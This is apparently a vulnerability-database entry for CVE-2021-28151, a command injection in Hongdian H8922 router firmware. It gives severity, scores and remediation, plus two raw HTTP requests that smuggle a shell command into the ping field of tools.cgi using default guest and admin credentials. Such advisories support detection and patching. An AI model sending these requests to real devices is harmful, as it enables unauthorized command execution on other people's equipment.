| Title | Hongdian H8922 3.0.5 - Remote Command Injection |
|---|---|
| Author | gy741 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device. |
| Remediation | Apply the latest security patch or update to a non-vulnerable version of the Hongdian H8922 firmware. |
| CVSS Score | 8.8 |
| EPSS Score | 0.92677 |
| CVE ID | CVE-2021-28151 |
| CWE ID | CWE-78 |
| Tags | cve2021 cve hongdian rce injection vkev vuln |
Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.
POST /tools.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 30
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Origin: http://www.victim.com
Referer: http://www.victim.com/tools.cgi
Accept-Encoding: gzip
op_type=ping&destination=%3Bid
POST /tools.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Content-Length: 30
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://www.victim.com
Referer: http://www.victim.com/tools.cgi
Accept-Encoding: gzip
op_type=ping&destination=%3Bid
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28151.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-28151.pcap
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